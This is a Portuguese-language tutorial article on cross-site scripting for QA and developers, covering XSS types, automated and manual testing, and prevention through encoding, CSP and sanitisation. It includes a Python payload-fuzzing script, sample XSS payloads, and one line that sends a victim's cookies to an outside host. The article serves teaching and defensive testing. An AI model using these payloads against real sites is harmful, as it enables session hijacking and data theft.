Vulnerabilidades de Cross-Site Scripting (XSS): estratégias de teste e exemplos

De acordo com estatísticas que vi e com minha experiência, as vulnerabilidades XSS continuam a ser uma ameaça predominante para aplicativos da web, apresentando riscos de roubo de dados, sequestro de sessão e problemas de site. Decidi que poderia passar mais tempo pesquisando esse tipo de vulnerabilidade e compartilhar com vocês pelo menos esse conhecimento básico semelhante a uma visão geral, para que muitos especialistas em controle de qualidade e desenvolvimento possam ter em mente algumas maneiras de testar seus aplicativos contra esse problema. Este artigo explora diferentes tipos de XSS, metodologias de teste e abordagens de automação e fornece alguns exemplos e cargas úteis para testes de penetração eficazes.

O cross-site scripting (XSS) permite que invasores injetem scripts maliciosos em páginas da web visualizadas por outros usuários, explorando vulnerabilidades na execução de código do lado do cliente. Compreender os diferentes tipos de vulnerabilidades XSS e usar estratégias de teste adequadas são cruciais para construir aplicativos web seguros e protegidos contra tais ataques.

As explorações de XSS ocorrem quando a entrada de usuários não confiáveis é inadequadamente higienizada e executada em um aplicativo da web, permitindo que invasores injetem e executem scripts maliciosos no contexto dos navegadores de outros usuários.

Tipos de vulnerabilidades XSS

XSS refletido

Ocorre quando os dados fornecidos pelo usuário são repetidos na resposta sem a validação adequada.

Exemplo: <script>alert('XSS_DEMO')</script> injetado através de um parâmetro de URL.

Essas explorações ocorrem quando um aplicativo da Web reflete entradas não validadas do usuário no navegador do usuário, sem a devida limpeza. Neste ataque, o invasor cria uma URL maliciosa contendo código de script que, quando clicado pela vítima, é executado no contexto da página vulnerável. O script malicioso não é armazenado no servidor, mas é refletido diretamente na entrada do usuário. As vulnerabilidades refletidas do XSS são frequentemente aproveitadas em ataques de phishing ou para manipular a experiência de navegação do usuário. O impacto pode ser grave, variando desde roubo de cookies até sequestro de sessão.

XSS armazenado

O script malicioso é armazenado permanentemente no servidor e executado quando acessado por outros usuários.

Exemplo: script malicioso armazenado em um comentário/postagem em um fórum ou página de perfil de rede social.

Também conhecido como XSS persistente, surge quando um invasor injeta código de script malicioso em um aplicativo da web, que é então armazenado no servidor. Este script injetado é posteriormente recuperado e executado sempre que a página vulnerável é acessada por outros usuários. Os ataques XSS armazenados são particularmente perigosos porque o script injetado persiste ao longo do tempo, afetando potencialmente vários usuários e levando à exploração generalizada. Os invasores geralmente têm como alvo conteúdo gerado pelo usuário, como comentários, postagens em fóruns, nomes de entidades que são exibidos em páginas da web ou campos de perfil para executar suas cargas maliciosas. As consequências do XSS armazenado podem incluir roubo de dados, controle de contas e desfiguração de sites, representando riscos significativos tanto para os usuários quanto para a organização afetada.

XSS baseado em DOM

A execução do script depende da manipulação do DOM no lado do cliente.

Exemplo: o código JS recupera e executa dados controlados pelo usuário do hash de URL.

Ocorre quando um aplicativo da web manipula dinamicamente o DOM com base na entrada de um usuário não confiável de maneira insegura. Ao contrário dos ataques XSS tradicionais, que envolvem processamento no lado do servidor, o XSS baseado em DOM se manifesta inteiramente no lado do cliente. Os invasores exploram o XSS baseado em DOM manipulando scripts do lado do cliente para executar código arbitrário no navegador da vítima. Esse tipo de XSS costuma ser mais difícil de detectar e mitigar, pois a vulnerabilidade reside no código do lado do cliente e pode não ser evidente durante os testes no lado do servidor. Os ataques XSS baseados em DOM podem levar a várias consequências, incluindo sequestro de sessão, exfiltração de dados e ações não autorizadas em nome do usuário, destacando a importância de medidas de segurança do lado do cliente e práticas vigilantes de desenvolvimento de aplicativos da web.

Auto-XSS

É um ataque de engenharia social em que um invasor engana um usuário para que execute código malicioso em seu navegador. Ao contrário dos ataques XSS tradicionais que visam vários usuários, o Self-XSS explora a confiança do usuário para executar código em sua sessão. Normalmente, os invasores induzem as vítimas a colar código JS de aparência aparentemente inocente no console do desenvolvedor do navegador ou em alguns campos de um site, sob o pretexto de uma ação inofensiva, como desbloquear um recurso ou ganhar recompensas. Uma vez executado, o código injetado pode potencialmente comprometer a conta da vítima, roubar informações confidenciais ou realizar ações não autorizadas em seu nome. Apesar de estar limitado à sessão da vítima, o Self-XSS continua a ser uma ameaça, enfatizando a importância da educação e conscientização do usuário para reconhecer e evitar tais táticas enganosas.

Teste

Automação

• Use ferramentas de teste de segurança como OWASP ZAP, Burp Suite, XSStrike, PwnXSS, XSSer, Acunetix, etc. para verificações automatizadas de XSS.
• Configure ferramentas para rastrear o aplicativo, identificar vetores de entrada e injetar cargas para detectar vulnerabilidades XSS.
• Analise os resultados da verificação em busca de vulnerabilidades identificadas, reproduza-as manualmente, crie PoC, entenda o impacto potencial e priorize a correção de problemas.

Você pode escrever alguns scripts; Eu prefiro Python, por exemplo:

 import requests def test_xss(url, parameter): payloads = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>", # list of your payloads ] for payload in payloads: modified_url = f'{url}?{parameter}={payload}' response = requests.get(modified_url) if payload in response.text: print(f'Potential XSS detected here - {modified_url}') # example test_xss("https://testwebsite.com/search", "query_param_name")

Teste Manual

• Identifique vetores de entrada suscetíveis à injeção de XSS (por exemplo, campos de entrada, parâmetros de URL). Você pode usar rastreadores e farejadores para identificar vetores com mais eficiência.
• Crie cargas úteis para explorar vulnerabilidades XSS (por exemplo, tags de script, manipuladores de eventos).

Analise as respostas para determinar se as cargas são refletidas ou executadas. Crie PoC, entenda o impacto potencial e priorize a correção de problemas.

Passos:

1. Insira uma tag de script, seguida de algum código JS, nos campos de entrada do seu aplicativo.

   Por exemplo, cargas XSS básicas:

    <script>alert('XSS');</script> (%0ejavascript:alert(/XSS/)) <script>alert('XSS')</script> // Display alert dialog with 'XSS' message. <img src=x onerror=alert(((123)> // Load broken image, trigger alert with '123'. // Cookie Theft Payload: <img src="http://website.com/stealcookie?cookie="+document.cookie> // Sends victim's cookies to attacker-controlled server. // DOM-based XSS Payload: #"><img src=x onerror=alert(123)> // Exploits DOM manipulation, triggers alert on vulnerable pages.

2. Envie a entrada e veja se o script é executado.

3. Se isso acontecer, o aplicativo estará vulnerável a ataques XSS.

4. Se o script não for executado, tente modificar a entrada adicionando outras tags HTML, como <img> ou <iframe> , e veja se elas são refletidas na página, por exemplo (esta quase sempre funciona para mim):

   <b>t</b>#`"/*—est

5. Você pode adicionar um script para consultar parâmetros do URL do seu aplicativo da web ou um nome de usuário, nomes de arquivos carregados ou qualquer texto que será exibido na página do aplicativo que você pode alterar.

6. Esteja ciente das validações front-end de entradas. Sempre tente enviar o valor por meio de uma solicitação direta (usando Postman, Burp ou qualquer ferramenta semelhante).

7. Verifique o console do navegador nas ferramentas de desenvolvimento porque às vezes você pode não ver nenhuma alteração visível na página, mas alguns símbolos, por exemplo `"/*— podem quebrar o JS/HTML da página, e você verá um aviso no console que pode será uma dica para você sobre como modificar sua carga útil para obter um XSS PoC

Use difusão e uma lista de cargas úteis - automatize essa abordagem quando possível ou use ferramentas especiais para isso.

Pessoalmente, gosto de usar payloads e informações daqui , é um recurso muito útil, na minha opinião.

Teste de caixa preta

• Identificação de vetores de entrada vulneráveis à injeção de XSS.
• Elaboração e injeção de cargas XSS para avaliar o impacto e identificar pontos vulneráveis.

Teste de caixa cinza

• Analisando código-fonte e procedimentos de sanitização para XSS potencial.
• Aproveitar o conhecimento parcial do aplicativo para testes direcionados.

Explorando XSS

PoC XSS

• Demonstra a confirmação da vulnerabilidade XSS injetando cargas executando JS arbitrário.
• Utilizando cargas alternativas como a função print() para navegadores Chrome após a versão 92.

Exploração avançada de XSS

• Para roubar cookies, realizar sequestro de sessão ou executar código arbitrário.
• Para se passar por usuários, capturar credenciais ou desfigurar páginas da web.

Ignorando filtros XSS

• Evitando filtros XSS comuns por meio de várias técnicas, como inserção de valor de atributo de tag, ofuscação e poluição de parâmetros HTTP (HPP).
• Cenários de exemplo mostram como ignorar mecanismos de filtro para executar cargas XSS com êxito.

Técnicas de Prevenção

Validação de entrada e codificação de saída

• Implemente mecanismos de validação de entrada (FE e BE) para garantir que os dados fornecidos pelo usuário estejam de acordo com os formatos esperados e não contenham código malicioso.
• Limpe e valide todas as entradas do usuário no servidor antes de processá-las ou armazená-las.
• Codifique os dados de saída adequadamente para evitar que sejam interpretados como conteúdo ativo pelo navegador.
• Utilize técnicas de codificação, como codificação de entidade HTML, codificação de URL e escape JS com base no contexto dos dados de saída.

Política de segurança de conteúdo (CSP)

• Implemente cabeçalhos de Política de Segurança de Conteúdo (CSP) para definir e aplicar políticas de segurança relacionadas à execução de scripts, folhas de estilo e outros recursos no aplicativo Web. O CSP permite que os administradores restrinjam as fontes das quais os scripts podem ser carregados, mitigando o risco de ataques XSS ao impedir a execução de scripts não autorizados.
• Configure diretivas CSP para especificar domínios confiáveis, uso de script e estilo in-line e scripts nonces, reduzindo efetivamente a superfície de ataque para XSS.

Codificação de saída específica ao contexto

Codifique os dados com base no contexto no qual os dados de saída estão sendo renderizados. Aplique diferentes métodos de codificação para HTML, JS, CSS e outros contextos para garantir proteção abrangente contra XSS.

Por exemplo , use codificação de entidade HTML para conteúdo HTML, escape de JavaScript para contextos de script embutidos e escape de CSS para atributos de estilo para evitar injeção de script e manter a integridade dos dados em vários contextos de saída.

Lista de permissões e lista negra de entrada

Implemente listas de permissões e listas negras de entrada para filtrar e validar entradas do usuário com base em listas de permissões e listas de bloqueio predefinidas de caracteres, padrões ou tipos de conteúdo permitidos e proibidos.

• A lista de permissões envolve definir explicitamente os formatos de entrada esperados e rejeitar quaisquer entradas que não estejam em conformidade com essas especificações.
• A lista negra identifica e bloqueia entradas ou padrões maliciosos conhecidos, embora possa ser menos eficaz devido ao potencial de evasão através de técnicas de codificação ou ofuscação.

Cabeçalhos de segurança e bibliotecas de sanitização

• Use cabeçalhos de segurança como X-XSS-Protection, X-Content-Type-Options e X-Frame-Options para melhorar a segurança do aplicativo web e evitar vários vetores de ataque, incluindo XSS.
• Integre bibliotecas e estruturas de higienização de terceiros à pilha de desenvolvimento para automatizar a validação de entrada, codificação de saída e outras tarefas críticas de segurança. Atualize e mantenha regularmente essas bibliotecas para lidar com ameaças e vulnerabilidades emergentes de maneira eficaz.

Práticas seguras de desenvolvimento e conscientização sobre segurança

• Promova práticas de desenvolvimento seguras nas equipes de desenvolvimento e controle de qualidade, enfatizando a importância de escrever código seguro, conduzir revisões completas de código e realizar testes de segurança durante todo o ciclo de vida de desenvolvimento de software.
• Promova uma cultura de conscientização de segurança entre desenvolvedores, engenheiros de controle de qualidade e outras partes interessadas, incentivando o aprendizado contínuo e o compartilhamento de conhecimento sobre XSS e outras vulnerabilidades, técnicas de exploração e medidas preventivas.
• Invista em programas de treinamento contínuo, cursos, seminários, conferências e recursos para equipar os membros da equipe com as habilidades e conhecimentos necessários para identificar, lidar e prevenir XSS de forma eficaz.

O XSS representa ameaças persistentes aos aplicativos da web, arriscando violações de dados e a confiança do usuário. Compreender os tipos de XSS e os métodos de teste é crucial para uma mitigação eficaz. Técnicas de prevenção, como validação de entrada, codificação de saída e implementação de CSP, melhoram a segurança do aplicativo. Ao priorizar práticas de segurança e colaboração, as equipes podem proteger seus aplicativos contra XSS e garantir a segurança adequada dos aplicativos web.

Se você é iniciante e está interessado em segurança cibernética e testes de penetração ou apenas deseja melhorar seu aplicativo para torná-lo mais seguro, leia meus artigos sobre estes tópicos:

• https://hackernoon.com/vulnerability-scanners-essentials
• https://hackernoon.com/cybersecurity-essentials-practical-web-app-security-testing-tips-for-qa-engineers
• https://hackernoon.com/defending-your-web-app-a-guide-to-rate-limiting-and-brute-force-attack-prevention

Para obter mais detalhes sobre XSS e cargas úteis, você pode encontrar os seguintes recursos:

• https://owasp.org/www-community/attacks/xss/
• https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
• https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45

Um lembrete crucial: